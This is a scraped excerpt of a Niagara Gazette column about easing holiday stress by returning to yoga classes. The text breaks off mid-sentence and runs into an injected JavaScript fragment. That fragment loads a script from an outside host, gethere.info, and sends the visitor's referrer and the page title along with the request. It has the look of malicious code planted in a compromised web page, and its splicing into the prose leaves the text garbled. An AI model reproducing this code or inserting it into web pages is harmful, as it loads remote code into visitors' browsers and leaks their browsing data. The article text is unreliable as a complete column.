DELUCA: Yoga can sooth holiday craziness – Niagara Gazette

I have returned to my yoga classes. After a couple of years away, I finally got back to the serene, quiet studio where my favorite yoga teacher guides us through stretches and poses that make up the ancient practice. Try to imagine this. I finish a …s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;